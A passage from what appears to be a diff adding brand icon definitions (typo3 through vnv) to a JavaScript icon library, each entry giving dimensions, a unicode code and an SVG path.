29.6-1.2-30-6.1-52.5-32.5-52.5-64.4v-.8c8.7 4.9 18.9 7.9 29.6 8.3a65.447 65.447 0 0 1-29.2-54.6c0-12.2 3.2-23.4 8.9-33.1 32.3 39.8 80.8 65.8 135.2 68.6-9.3-44.5 24-80.6 64-80.6 18.9 0 35.9 7.9 47.9 20.7 14.8-2.8 29-8.3 41.6-15.8-4.9 15.2-15.2 28-28.8 36.1 13.2-1.4 26-5.1 37.8-10.2-8.9 13.1-20.1 24.7-32.9 34z" ], + typo3: [ 448, 512, [], "f42b", "M178.7 78.4c0-24.7 5.4-32.4 13.9-39.4-69.5 8.5-149.3 34-176.3 66.4-5.4 7.7-9.3 20.8-9.3 37.1C7 246 113.8 480 191.1 480c36.3 0 97.3-59.5 146.7-139-7 2.3-11.6 2.3-18.5 2.3-57.2 0-140.6-198.5-140.6-264.9zM301.5 32c-30.1 0-41.7 5.4-41.7 36.3 0 66.4 53.8 198.5 101.7 198.5 26.3 0 78.8-99.7 78.8-182.3 0-40.9-67-52.5-138.8-52.5z" ], + uber: [ 448, 512, [], "f402", "M414.1 32H33.9C15.2 32 0 47.2 0 65.9V446c0 18.8 15.2 34 33.9 34H414c18.7 0 33.9-15.2 33.9-33.9V65.9C448 47.2 432.8 32 414.1 32zM237.6 391.1C163 398.6 96.4 344.2 88.9 269.6h94.4V290c0 3.7 3 6.8 6.8 6.8H258c3.7 0 6.8-3 6.8-6.8v-67.9c0-3.7-3-6.8-6.8-6.8h-67.9c-3.7 0-6.8 3-6.8 6.8v20.4H88.9c7-69.4 65.4-122.2 135.1-122.2 69.7 0 128.1 52.8 135.1 122.2 7.5 74.5-46.9 141.1-121.5 148.6z" ], + ubuntu: [ 496, 512, [], "f7df", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm52.7 93c8.8-15.2 28.3-20.5 43.5-11.7 15.3 8.8 20.5 28.3 11.7 43.6-8.8 15.2-28.3 20.5-43.5 11.7-15.3-8.9-20.5-28.4-11.7-43.6zM87.4 287.9c-17.6 0-31.9-14.3-31.9-31.9 0-17.6 14.3-31.9 31.9-31.9 17.6 0 31.9 14.3 31.9 31.9 0 17.6-14.3 31.9-31.9 31.9zm28.1 3.1c22.3-17.9 22.4-51.9 0-69.9 8.6-32.8 29.1-60.7 56.5-79.1l23.7 39.6c-51.5 36.3-51.5 112.5 0 148.8L172 370c-27.4-18.3-47.8-46.3-56.5-79zm228.7 131.7c-15.3 8.8-34.7 3.6-43.5-11.7-8.8-15.3-3.6-34.8 11.7-43.6 15.2-8.8 34.7-3.6 43.5 11.7 8.8 15.3 3.6 34.8-11.7 43.6zm.3-69.5c-26.7-10.3-56.1 6.6-60.5 35-5.2 1.4-48.9 14.3-96.7-9.4l22.5-40.3c57 26.5 123.4-11.7 128.9-74.4l46.1.7c-2.3 34.5-17.3 65.5-40.3 88.4zm-5.9-105.3c-5.4-62-71.3-101.2-128.9-74.4l-22.5-40.3c47.9-23.7 91.5-10.8 96.7-9.4 4.4 28.3 33.8 45.3 60.5 35 23.1 22.9 38 53.9 40.2 88.5l-46 .6z" ], + uikit: [ 448, 512, [], "f403", "M443.9 128v256L218 512 0 384V169.7l87.6 45.1v117l133.5 75.5 135.8-75.5v-151l-101.1-57.6 87.6-53.1L443.9 128zM308.6 49.1L223.8 0l-88.6 54.8 86 47.3 87.4-53z" ], + umbraco: [ 510, 512, [], "f8e8", "M255.35 8C118.36 7.83 7.14 118.72 7 255.68c-.07 137 111 248.2 248 248.27 136.85 0 247.82-110.7 248-247.67S392.34 8.17 255.35 8zm145 266q-1.14 40.68-14 65t-43.51 35q-30.61 10.7-85.45 10.47h-4.6q-54.78.22-85.44-10.47t-43.52-35q-12.85-24.36-14-65a224.81 224.81 0 0 1 0-30.71 418.37 418.37 0 0 1 3.6-43.88c1.88-13.39 3.57-22.58 5.4-32 1-4.88 1.28-6.42 1.82-8.45a5.09 5.09 0 0 1 4.9-3.89h.69l32 5a5.07 5.07 0 0 1 4.16 5 5 5 0 0 1 0 .77l-1.7 8.78q-2.41 13.25-4.84 33.68a380.62 380.62 0 0 0-2.64 42.15q-.28 40.43 8.13 59.83a43.87 43.87 0 0 0 31.31 25.18A243 243 0 0 0 250 340.6h10.25a242.64 242.64 0 0 0 57.27-5.16 43.86 43.86 0 0 0 31.15-25.23q8.53-19.42 8.13-59.78a388 388 0 0 0-2.6-42.15q-2.48-20.38-4.89-33.68l-1.69-8.78a5 5 0 0 1 0-.77 5 5 0 0 1 4.2-5l32-5h.82a5 5 0 0 1 4.9 3.89c.55 2.05.81 3.57 1.83 8.45 1.82 9.62 3.52 18.78 5.39 32a415.71 415.71 0 0 1 3.61 43.88 228.06 228.06 0 0 1-.04 30.73z" ], + uncharted: [ 448, 512, [], "e084", "M171.73,232.813A5.381,5.381,0,0,0,176.7,229.5,48.081,48.081,0,0,1,191.6,204.244c1.243-.828,1.657-2.484,1.657-4.141a4.22,4.22,0,0,0-2.071-3.312L74.429,128.473,148.958,85a9.941,9.941,0,0,0,4.968-8.281,9.108,9.108,0,0,0-4.968-8.281L126.6,55.6a9.748,9.748,0,0,0-9.523,0l-100.2,57.966a9.943,9.943,0,0,0-4.969,8.281V236.954a9.109,9.109,0,0,0,4.969,8.281L39.235,258.07a8.829,8.829,0,0,0,4.968,1.242,9.4,9.4,0,0,0,6.625-2.484,10.8,10.8,0,0,0,2.9-7.039V164.5L169.66,232.4A4.5,4.5,0,0,0,171.73,232.813ZM323.272,377.73a12.478,12.478,0,0,0-4.969,1.242l-74.528,43.062V287.882c0-2.9-2.9-5.8-6.211-4.555a53.036,53.036,0,0,1-28.984.414,4.86,4.86,0,0,0-6.21,4.555V421.619l-74.529-43.061a8.83,8.83,0,0,0-4.969-1.242,9.631,9.631,0,0,0-9.523,9.523v26.085a9.107,9.107,0,0,0,4.969,8.281l100.2,57.553A8.829,8.829,0,0,0,223.486,480a11.027,11.027,0,0,0,4.969-1.242l100.2-57.553a9.941,9.941,0,0,0,4.968-8.281V386.839C332.8,382.285,328.24,377.73,323.272,377.73ZM286.007,78a23,23,0,1,0-23-23A23,23,0,0,0,286.007,78Zm63.627-10.086a23,23,0,1,0,23,23A23,23,0,0,0,349.634,67.914ZM412.816,151.6a23,23,0,1,0-23-23A23,23,0,0,0,412.816,151.6Zm-63.182-9.2a23,23,0,1,0,23,23A23,23,0,0,0,349.634,142.4Zm-63.627,83.244a23,23,0,1,0-23-23A23,23,0,0,0,286.007,225.648Zm-62.074,36.358a23,23,0,1,0-23-23A23,23,0,0,0,223.933,262.006Zm188.883-82.358a23,23,0,1,0,23,23A23,23,0,0,0,412.816,179.648Zm0,72.272a23,23,0,1,0,23,23A23,23,0,0,0,412.816,251.92Z" ], + uniregistry: [ 384, 512, [], "f404", "M192 480c39.5 0 76.2-11.8 106.8-32.2H85.3C115.8 468.2 152.5 480 192 480zm-89.1-193.1v-12.4H0v12.4c0 2.5 0 5 .1 7.4h103.1c-.2-2.4-.3-4.9-.3-7.4zm20.5 57H8.5c2.6 8.5 5.8 16.8 9.6 24.8h138.3c-12.9-5.7-24.1-14.2-33-24.8zm-17.7-34.7H1.3c.9 7.6 2.2 15 3.9 22.3h109.7c-4-6.9-7.2-14.4-9.2-22.3zm-2.8-69.3H0v17.3h102.9zm0-173.2H0v4.9h102.9zm0-34.7H0v2.5h102.9zm0 69.3H0v7.4h102.9zm0 104H0v14.8h102.9zm0-69.3H0v9.9h102.9zm0 34.6H0V183h102.9zm166.2 160.9h109.7c1.8-7.3 3.1-14.7 3.9-22.3H278.3c-2.1 7.9-5.2 15.4-9.2 22.3zm12-185.7H384V136H281.1zm0 37.2H384v-12.4H281.1zm0-74.3H384v-7.4H281.1zm0-76.7v2.5H384V32zm-203 410.9h227.7c11.8-8.7 22.7-18.6 32.2-29.7H44.9c9.6 11 21.4 21 33.2 29.7zm203-371.3H384v-4.9H281.1zm0 148.5H384v-14.8H281.1zM38.8 405.7h305.3c6.7-8.5 12.6-17.6 17.8-27.2H23c5.2 9.6 9.2 18.7 15.8 27.2zm188.8-37.1H367c3.7-8 5.8-16.2 8.5-24.8h-115c-8.8 10.7-20.1 19.2-32.9 24.8zm53.5-81.7c0 2.5-.1 5-.4 7.4h103.1c.1-2.5.2-4.9.2-7.4v-12.4H281.1zm0-29.7H384v-17.3H281.1z" ], + unity: [ 576, 512, [], "e049", "M498.11,206.4,445.31,14.72,248.2,66.08,219,116.14l-59.2-.43L15.54,256,159.82,396.32l59.17-.43,29.24,50,197.08,51.36,52.8-191.62-30-49.63ZM223.77,124.2,374.55,86.51,288,232.33H114.87Zm0,263.63L114.87,279.71H288l86.55,145.81Zm193,14L330.17,256l86.58-145.84L458.56,256Z" ], + unsplash: [ 448, 512, [], "e07c", "M448,230.17V480H0V230.17H141.13V355.09H306.87V230.17ZM306.87,32H141.13V156.91H306.87Z" ], + untappd: [ 640, 512, [], "f405", "M401.3 49.9c-79.8 160.1-84.6 152.5-87.9 173.2l-5.2 32.8c-1.9 12-6.6 23.5-13.7 33.4L145.6 497.1c-7.6 10.6-20.4 16.2-33.4 14.6-40.3-5-77.8-32.2-95.3-68.5-5.7-11.8-4.5-25.8 3.1-36.4l148.9-207.9c7.1-9.9 16.4-18 27.2-23.7l29.3-15.5c18.5-9.8 9.7-11.9 135.6-138.9 1-4.8 1-7.3 3.6-8 3-.7 6.6-1 6.3-4.6l-.4-4.6c-.2-1.9 1.3-3.6 3.2-3.6 4.5-.1 13.2 1.2 25.6 10 12.3 8.9 16.4 16.8 17.7 21.1.6 1.8-.6 3.7-2.4 4.2l-4.5 1.1c-3.4.9-2.5 4.4-2.3 7.4.1 2.8-2.3 3.6-6.5 6.1zM230.1 36.4c3.4.9 2.5 4.4 2.3 7.4-.2 2.7 2.1 3.5 6.4 6 7.9 15.9 15.3 30.5 22.2 44 .7 1.3 2.3 1.5 3.3.5 11.2-12 24.6-26.2 40.5-42.6 1.3-1.4 1.4-3.5.1-4.9-8-8.2-16.5-16.9-25.6-26.1-1-4.7-1-7.3-3.6-8-3-.8-6.6-1-6.3-4.6.3-3.3 1.4-8.1-2.8-8.2-4.5-.1-13.2 1.1-25.6 10-12.3 8.9-16.4 16.8-17.7 21.1-1.4 4.2 3.6 4.6 6.8 5.4zM620 406.7L471.2 198.8c-13.2-18.5-26.6-23.4-56.4-39.1-11.2-5.9-14.2-10.9-30.5-28.9-1-1.1-2.9-.9-3.6.5-46.3 88.8-47.1 82.8-49 94.8-1.7 10.7-1.3 20 .3 29.8 1.9 12 6.6 23.5 13.7 33.4l148.9 207.9c7.6 10.6 20.2 16.2 33.1 14.7 40.3-4.9 78-32 95.7-68.6 5.4-11.9 4.3-25.9-3.4-36.6z" ], + ups: [ 384, 512, [], "f7e0", "M103.2 303c-5.2 3.6-32.6 13.1-32.6-19V180H37.9v102.6c0 74.9 80.2 51.1 97.9 39V180h-32.6zM4 74.82v220.9c0 103.7 74.9 135.2 187.7 184.1 112.4-48.9 187.7-80.2 187.7-184.1V74.82c-116.3-61.6-281.8-49.6-375.4 0zm358.1 220.9c0 86.6-53.2 113.6-170.4 165.3-117.5-51.8-170.5-78.7-170.5-165.3v-126.4c102.3-93.8 231.6-100 340.9-89.8zm-209.6-107.4v212.8h32.7v-68.7c24.4 7.3 71.7-2.6 71.7-78.5 0-97.4-80.7-80.92-104.4-65.6zm32.7 117.3v-100.3c8.4-4.2 38.4-12.7 38.4 49.3 0 67.9-36.4 51.8-38.4 51zm79.1-86.4c.1 47.3 51.6 42.5 52.2 70.4.6 23.5-30.4 23-50.8 4.9v30.1c36.2 21.5 81.9 8.1 83.2-33.5 1.7-51.5-54.1-46.6-53.4-73.2.6-20.3 30.6-20.5 48.5-2.2v-28.4c-28.5-22-79.9-9.2-79.7 31.9z" ], + usb: [ 640, 512, [], "f287", "M641.5 256c0 3.1-1.7 6.1-4.5 7.5L547.9 317c-1.4.8-2.8 1.4-4.5 1.4-1.4 0-3.1-.3-4.5-1.1-2.8-1.7-4.5-4.5-4.5-7.8v-35.6H295.7c25.3 39.6 40.5 106.9 69.6 106.9H392V354c0-5 3.9-8.9 8.9-8.9H490c5 0 8.9 3.9 8.9 8.9v89.1c0 5-3.9 8.9-8.9 8.9h-89.1c-5 0-8.9-3.9-8.9-8.9v-26.7h-26.7c-75.4 0-81.1-142.5-124.7-142.5H140.3c-8.1 30.6-35.9 53.5-69 53.5C32 327.3 0 295.3 0 256s32-71.3 71.3-71.3c33.1 0 61 22.8 69 53.5 39.1 0 43.9 9.5 74.6-60.4C255 88.7 273 95.7 323.8 95.7c7.5-20.9 27-35.6 50.4-35.6 29.5 0 53.5 23.9 53.5 53.5s-23.9 53.5-53.5 53.5c-23.4 0-42.9-14.8-50.4-35.6H294c-29.1 0-44.3 67.4-69.6 106.9h310.1v-35.6c0-3.3 1.7-6.1 4.5-7.8 2.8-1.7 6.4-1.4 8.9.3l89.1 53.5c2.8 1.1 4.5 4.1 4.5 7.2z" ], + usps: [ 576, 512, [], "f7e1", "M460.3 241.7c25.8-41.3 15.2-48.8-11.7-48.8h-27c-.1 0-1.5-1.4-10.9 8-11.2 5.6-37.9 6.3-37.9 8.7 0 4.5 70.3-3.1 88.1 0 9.5 1.5-1.5 20.4-4.4 32-.5 4.5 2.4 2.3 3.8.1zm-112.1 22.6c64-21.3 97.3-23.9 102-26.2 4.4-2.9-4.4-6.6-26.2-5.8-51.7 2.2-137.6 37.1-172.6 53.9l-30.7-93.3h196.6c-2.7-28.2-152.9-22.6-337.9-22.6L27 415.8c196.4-97.3 258.9-130.3 321.2-151.5zM94.7 96c253.3 53.7 330 65.7 332.1 85.2 36.4 0 45.9 0 52.4 6.6 21.1 19.7-14.6 67.7-14.6 67.7-4.4 2.9-406.4 160.2-406.4 160.2h423.1L549 96z" ], + ussunnah: [ 512, 512, [], "f407", "M156.8 285.1l5.7 14.4h-8.2c-1.3-3.2-3.1-7.7-3.8-9.5-2.5-6.3-1.1-8.4 0-10 1.9-2.7 3.2-4.4 3.6-5.2 0 2.2.8 5.7 2.7 10.3zm297.3 18.8c-2.1 13.8-5.7 27.1-10.5 39.7l43 23.4-44.8-18.8c-5.3 13.2-12 25.6-19.9 37.2l34.2 30.2-36.8-26.4c-8.4 11.8-18 22.6-28.7 32.3l24.9 34.7-28.1-31.8c-11 9.6-23.1 18-36.1 25.1l15.7 37.2-19.3-35.3c-13.1 6.8-27 12.1-41.6 15.9l6.7 38.4-10.5-37.4c-14.3 3.4-29.2 5.3-44.5 5.4L256 512l-1.9-38.4c-15.3-.1-30.2-2-44.5-5.3L199 505.6l6.7-38.2c-14.6-3.7-28.6-9.1-41.7-15.8l-19.2 35.1 15.6-37c-13-7-25.2-15.4-36.2-25.1l-27.9 31.6 24.7-34.4c-10.7-9.7-20.4-20.5-28.8-32.3l-36.5 26.2 33.9-29.9c-7.9-11.6-14.6-24.1-20-37.3l-44.4 18.7L67.8 344c-4.8-12.7-8.4-26.1-10.5-39.9l-51 9 50.3-14.2c-1.1-8.5-1.7-17.1-1.7-25.9 0-4.7.2-9.4.5-14.1L0 256l56-2.8c1.3-13.1 3.8-25.8 7.5-38.1L6.4 199l58.9 10.4c4-12 9.1-23.5 15.2-34.4l-55.1-30 58.3 24.6C90 159 97.2 149.2 105.3 140L55.8 96.4l53.9 38.7c8.1-8.6 17-16.5 26.6-23.6l-40-55.6 45.6 51.6c9.5-6.6 19.7-12.3 30.3-17.2l-27.3-64.9 33.8 62.1c10.5-4.4 21.4-7.9 32.7-10.4L199 6.4l19.5 69.2c11-2.1 22.3-3.2 33.8-3.4L256 0l3.6 72.2c11.5.2 22.8 1.4 33.8 3.5L313 6.4l-12.4 70.7c11.3 2.6 22.2 6.1 32.6 10.5l33.9-62.2-27.4 65.1c10.6 4.9 20.7 10.7 30.2 17.2l45.8-51.8-40.1 55.9c9.5 7.1 18.4 15 26.5 23.6l54.2-38.9-49.7 43.9c8 9.1 15.2 18.9 21.5 29.4l58.7-24.7-55.5 30.2c6.1 10.9 11.1 22.3 15.1 34.3l59.3-10.4-57.5 16.2c3.7 12.2 6.2 24.9 7.5 37.9L512 256l-56 2.8c.3 4.6.5 9.3.5 14.1 0 8.7-.6 17.3-1.6 25.8l50.7 14.3-51.5-9.1zm-21.8-31c0-97.5-79-176.5-176.5-176.5s-176.5 79-176.5 176.5 79 176.5 176.5 176.5 176.5-79 176.5-176.5zm-24 0c0 84.3-68.3 152.6-152.6 152.6s-152.6-68.3-152.6-152.6 68.3-152.6 152.6-152.6 152.6 68.3 152.6 152.6zM195 241c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-40.7-19c0 2.1 1.3 3.8 3.6 5.1 3.5 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.5 6.8-9.6 10.9-9.6 12.6zm-19 0c0 2.1 1.3 3.8 3.6 5.1 3.3 1.9 6.2 4.6 8.2 8.2 2.8-5.7 4.3-9.5 4.3-11.2 0-2.2-1.1-4.4-3.2-7-2.1-2.5-3.2-5.2-3.3-7.7-6.4 6.8-9.6 10.9-9.6 12.6zm204.9 87.9c-8.4-3-8.7-6.8-8.7-15.6V182c-8.2 12.5-14.2 18.6-18 18.6 6.3 14.4 9.5 23.9 9.5 28.3v64.3c0 2.2-2.2 6.5-4.7 6.5h-18c-2.8-7.5-10.2-26.9-15.3-40.3-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3 2.6 6.7 6.4 16.5 7.9 20.2h-9.2c-3.9-10.4-9.6-25.4-11.8-31.1-2 2.5-7.2 9.2-10.7 13.7 2.4 1.6 4.1 3.6 5.2 6.3.8 2 2.8 7.3 4.3 10.9H256c-1.5-4.1-5.6-14.6-8.4-22-2 2.5-7.2 9.2-10.7 13.7 2.5 1.6 4.3 3.6 5.2 6.3.2.6.5 1.4.6 1.7H225c-4.6-13.9-11.4-27.7-11.4-34.1 0-2.2.3-5.1 1.1-8.2-8.8 10.8-14 15.9-14 25 0 7.5 10.4 28.3 10.4 33.3 0 1.7-.5 3.3-1.4 4.9-9.6-12.7-15.5-20.7-18.8-20.7h-12l-11.2-28c-3.8-9.6-5.7-16-5.7-18.8 0-3.8.5-7.7 1.7-12.2-1 1.3-3.7 4.7-5.5 7.1-.8-2.1-3.1-7.7-4.6-11.5-2.1 2.5-7.5 9.1-11.2 13.6.9 2.3 3.3 8.1 4.9 12.2-2.5 3.3-9.1 11.8-13.6 17.7-4 5.3-5.8 13.3-2.7 21.8 2.5 6.7 2 7.9-1.7 14.1H191c5.5 0 14.3 14 15.5 22 13.2-16 15.4-19.6 16.8-21.6h107c3.9 0 7.2-1.9 9.9-5.8zm20.1-26.6V181.7c-9 12.5-15.9 18.6-20.7 18.6 7.1 14.4 10.7 23.9 10.7 28.3v66.3c0 17.5 8.6 20.4 24 20.4 8.1 0 12.5-.8 13.7-2.7-4.3-1.6-7.6-2.5-9.9-3.3-8.1-3.2-17.8-7.4-17.8-26z" ], + vaadin: [ 448, 512, [], "f408", "M224.5 140.7c1.5-17.6 4.9-52.7 49.8-52.7h98.6c20.7 0 32.1-7.8 32.1-21.6V54.1c0-12.2 9.3-22.1 21.5-22.1S448 41.9 448 54.1v36.5c0 42.9-21.5 62-66.8 62H280.7c-30.1 0-33 14.7-33 27.1 0 1.3-.1 2.5-.2 3.7-.7 12.3-10.9 22.2-23.4 22.2s-22.7-9.8-23.4-22.2c-.1-1.2-.2-2.4-.2-3.7 0-12.3-3-27.1-33-27.1H66.8c-45.3 0-66.8-19.1-66.8-62V54.1C0 41.9 9.4 32 21.6 32s21.5 9.9 21.5 22.1v12.3C43.1 80.2 54.5 88 75.2 88h98.6c44.8 0 48.3 35.1 49.8 52.7h.9zM224 456c11.5 0 21.4-7 25.7-16.3 1.1-1.8 97.1-169.6 98.2-171.4 11.9-19.6-3.2-44.3-27.2-44.3-13.9 0-23.3 6.4-29.8 20.3L224 362l-66.9-117.7c-6.4-13.9-15.9-20.3-29.8-20.3-24 0-39.1 24.6-27.2 44.3 1.1 1.9 97.1 169.6 98.2 171.4 4.3 9.3 14.2 16.3 25.7 16.3z" ], + viacoin: [ 384, 512, [], "f237", "M384 32h-64l-80.7 192h-94.5L64 32H0l48 112H0v48h68.5l13.8 32H0v48h102.8L192 480l89.2-208H384v-48h-82.3l13.8-32H384v-48h-48l48-112zM192 336l-27-64h54l-27 64z" ], + viadeo: [ 448, 512, [], "f2a9", "M276.2 150.5v.7C258.3 98.6 233.6 47.8 205.4 0c43.3 29.2 67 100 70.8 150.5zm32.7 121.7c7.6 18.2 11 37.5 11 57 0 77.7-57.8 141-137.8 139.4l3.8-.3c74.2-46.7 109.3-118.6 109.3-205.1 0-38.1-6.5-75.9-18.9-112 1 11.7 1 23.7 1 35.4 0 91.8-18.1 241.6-116.6 280C95 455.2 49.4 398 49.4 329.2c0-75.6 57.4-142.3 135.4-142.3 16.8 0 33.7 3.1 49.1 9.6 1.7-15.1 6.5-29.9 13.4-43.3-19.9-7.2-41.2-10.7-62.5-10.7-161.5 0-238.7 195.9-129.9 313.7 67.9 74.6 192 73.9 259.8 0 56.6-61.3 60.9-142.4 36.4-201-12.7 8-27.1 13.9-42.2 17zM418.1 11.7c-31 66.5-81.3 47.2-115.8 80.1-12.4 12-20.6 34-20.6 50.5 0 14.1 4.5 27.1 12 38.8 47.4-11 98.3-46 118.2-90.7-.7 5.5-4.8 14.4-7.2 19.2-20.3 35.7-64.6 65.6-99.7 84.9 14.8 14.4 33.7 25.8 55 25.8 79 0 110.1-134.6 58.1-208.6z" ], + "viadeo-square": [ 448, 512, [], "f2aa", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM280.7 381.2c-42.4 46.2-120 46.6-162.4 0-68-73.6-19.8-196.1 81.2-196.1 13.3 0 26.6 2.1 39.1 6.7-4.3 8.4-7.3 17.6-8.4 27.1-9.7-4.1-20.2-6-30.7-6-48.8 0-84.6 41.7-84.6 88.9 0 43 28.5 78.7 69.5 85.9 61.5-24 72.9-117.6 72.9-175 0-7.3 0-14.8-.6-22.1-11.2-32.9-26.6-64.6-44.2-94.5 27.1 18.3 41.9 62.5 44.2 94.1v.4c7.7 22.5 11.8 46.2 11.8 70 0 54.1-21.9 99-68.3 128.2l-2.4.2c50 1 86.2-38.6 86.2-87.2 0-12.2-2.1-24.3-6.9-35.7 9.5-1.9 18.5-5.6 26.4-10.5 15.3 36.6 12.6 87.3-22.8 125.6zM309 233.7c-13.3 0-25.1-7.1-34.4-16.1 21.9-12 49.6-30.7 62.3-53 1.5-3 4.1-8.6 4.5-12-12.5 27.9-44.2 49.8-73.9 56.7-4.7-7.3-7.5-15.5-7.5-24.3 0-10.3 5.2-24.1 12.9-31.6 21.6-20.5 53-8.5 72.4-50 32.5 46.2 13.1 130.3-36.3 130.3z" ], + viber: [ 512, 512, [], "f409", "M444 49.9C431.3 38.2 379.9.9 265.3.4c0 0-135.1-8.1-200.9 52.3C27.8 89.3 14.9 143 13.5 209.5c-1.4 66.5-3.1 191.1 117 224.9h.1l-.1 51.6s-.8 20.9 13 25.1c16.6 5.2 26.4-10.7 42.3-27.8 8.7-9.4 20.7-23.2 29.8-33.7 82.2 6.9 145.3-8.9 152.5-11.2 16.6-5.4 110.5-17.4 125.7-142 15.8-128.6-7.6-209.8-49.8-246.5zM457.9 287c-12.9 104-89 110.6-103 115.1-6 1.9-61.5 15.7-131.2 11.2 0 0-52 62.7-68.2 79-5.3 5.3-11.1 4.8-11-5.7 0-6.9.4-85.7.4-85.7-.1 0-.1 0 0 0-101.8-28.2-95.8-134.3-94.7-189.8 1.1-55.5 11.6-101 42.6-131.6 55.7-50.5 170.4-43 170.4-43 96.9.4 143.3 29.6 154.1 39.4 35.7 30.6 53.9 103.8 40.6 211.1zm-139-80.8c.4 8.6-12.5 9.2-12.9.6-1.1-22-11.4-32.7-32.6-33.9-8.6-.5-7.8-13.4.7-12.9 27.9 1.5 43.4 17.5 44.8 46.2zm20.3 11.3c1-42.4-25.5-75.6-75.8-79.3-8.5-.6-7.6-13.5.9-12.9 58 4.2 88.9 44.1 87.8 92.5-.1 8.6-13.1 8.2-12.9-.3zm47 13.4c.1 8.6-12.9 8.7-12.9.1-.6-81.5-54.9-125.9-120.8-126.4-8.5-.1-8.5-12.9 0-12.9 73.7.5 133 51.4 133.7 139.2zM374.9 329v.2c-10.8 19-31 40-51.8 33.3l-.2-.3c-21.1-5.9-70.8-31.5-102.2-56.5-16.2-12.8-31-27.9-42.4-42.4-10.3-12.9-20.7-28.2-30.8-46.6-21.3-38.5-26-55.7-26-55.7-6.7-20.8 14.2-41 33.3-51.8h.2c9.2-4.8 18-3.2 23.9 3.9 0 0 12.4 14.8 17.7 22.1 5 6.8 11.7 17.7 15.2 23.8 6.1 10.9 2.3 22-3.7 26.6l-12 9.6c-6.1 4.9-5.3 14-5.3 14s17.8 67.3 84.3 84.3c0 0 9.1.8 14-5.3l9.6-12c4.6-6 15.7-9.8 26.6-3.7 14.7 8.3 33.4 21.2 45.8 32.9 7 5.7 8.6 14.4 3.8 23.6z" ], + vimeo: [ 448, 512, [], "f40a", "M403.2 32H44.8C20.1 32 0 52.1 0 76.8v358.4C0 459.9 20.1 480 44.8 480h358.4c24.7 0 44.8-20.1 44.8-44.8V76.8c0-24.7-20.1-44.8-44.8-44.8zM377 180.8c-1.4 31.5-23.4 74.7-66 129.4-44 57.2-81.3 85.8-111.7 85.8-18.9 0-34.8-17.4-47.9-52.3-25.5-93.3-36.4-148-57.4-148-2.4 0-10.9 5.1-25.4 15.2l-15.2-19.6c37.3-32.8 72.9-69.2 95.2-71.2 25.2-2.4 40.7 14.8 46.5 51.7 20.7 131.2 29.9 151 67.6 91.6 13.5-21.4 20.8-37.7 21.8-48.9 3.5-33.2-25.9-30.9-45.8-22.4 15.9-52.1 46.3-77.4 91.2-76 33.3.9 49 22.5 47.1 64.7z" ], + "vimeo-square": [ 448, 512, [], "f194", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-16.2 149.6c-1.4 31.1-23.2 73.8-65.3 127.9-43.5 56.5-80.3 84.8-110.4 84.8-18.7 0-34.4-17.2-47.3-51.6-25.2-92.3-35.9-146.4-56.7-146.4-2.4 0-10.8 5-25.1 15.1L64 192c36.9-32.4 72.1-68.4 94.1-70.4 24.9-2.4 40.2 14.6 46 51.1 20.5 129.6 29.6 149.2 66.8 90.5 13.4-21.2 20.6-37.2 21.5-48.3 3.4-32.8-25.6-30.6-45.2-22.2 15.7-51.5 45.8-76.5 90.1-75.1 32.9 1 48.4 22.4 46.5 64z" ], + "vimeo-v": [ 448, 512, [], "f27d", "M447.8 153.6c-2 43.6-32.4 103.3-91.4 179.1-60.9 79.2-112.4 118.8-154.6 118.8-26.1 0-48.2-24.1-66.3-72.3C100.3 250 85.3 174.3 56.2 174.3c-3.4 0-15.1 7.1-35.2 21.1L0 168.2c51.6-45.3 100.9-95.7 131.8-98.5 34.9-3.4 56.3 20.5 64.4 71.5 28.7 181.5 41.4 208.9 93.6 126.7 18.7-29.6 28.8-52.1 30.2-67.6 4.8-45.9-35.8-42.8-63.3-31 22-72.1 64.1-107.1 126.2-105.1 45.8 1.2 67.5 31.1 64.9 89.4z" ], + vine: [ 384, 512, [], "f1ca", "M384 254.7v52.1c-18.4 4.2-36.9 6.1-52.1 6.1-36.9 77.4-103 143.8-125.1 156.2-14 7.9-27.1 8.4-42.7-.8C137 452 34.2 367.7 0 102.7h74.5C93.2 261.8 139 343.4 189.3 404.5c27.9-27.9 54.8-65.1 75.6-106.9-49.8-25.3-80.1-80.9-80.1-145.6 0-65.6 37.7-115.1 102.2-115.1 114.9 0 106.2 127.9 81.6 181.5 0 0-46.4 9.2-63.5-20.5 3.4-11.3 8.2-30.8 8.2-48.5 0-31.3-11.3-46.6-28.4-46.6-18.2 0-30.8 17.1-30.8 50 .1 79.2 59.4 118.7 129.9 101.9z" ], + vk: [ 576, 512, [], "f189", "M545 117.7c3.7-12.5 0-21.7-17.8-21.7h-58.9c-15 0-21.9 7.9-25.6 16.7 0 0-30 73.1-72.4 120.5-13.7 13.7-20 18.1-27.5 18.1-3.7 0-9.4-4.4-9.4-16.9V117.7c0-15-4.2-21.7-16.6-21.7h-92.6c-9.4 0-15 7-15 13.5 0 14.2 21.2 17.5 23.4 57.5v86.8c0 19-3.4 22.5-10.9 22.5-20 0-68.6-73.4-97.4-157.4-5.8-16.3-11.5-22.9-26.6-22.9H38.8c-16.8 0-20.2 7.9-20.2 16.7 0 15.6 20 93.1 93.1 195.5C160.4 378.1 229 416 291.4 416c37.5 0 42.1-8.4 42.1-22.9 0-66.8-3.4-73.1 15.4-73.1 8.7 0 23.7 4.4 58.7 38.1 40 40 46.6 57.9 69 57.9h58.9c16.8 0 25.3-8.4 20.4-25-11.2-34.9-86.9-106.7-90.3-111.5-8.7-11.2-6.2-16.2 0-26.2.1-.1 72-101.3 79.4-135.6z" ], + vnv: [ 640, 512, [], "f40b", "M104.9 352c-34.1 0-46.4-30.4-46.4-30.4L2.6 210.1S-7.8 192 13 192h32.8c10.4 0 13.2 8.7 18.8 18.1l36.7 74.5s5.2 13.1 21.1 13.1 21.1-13.1 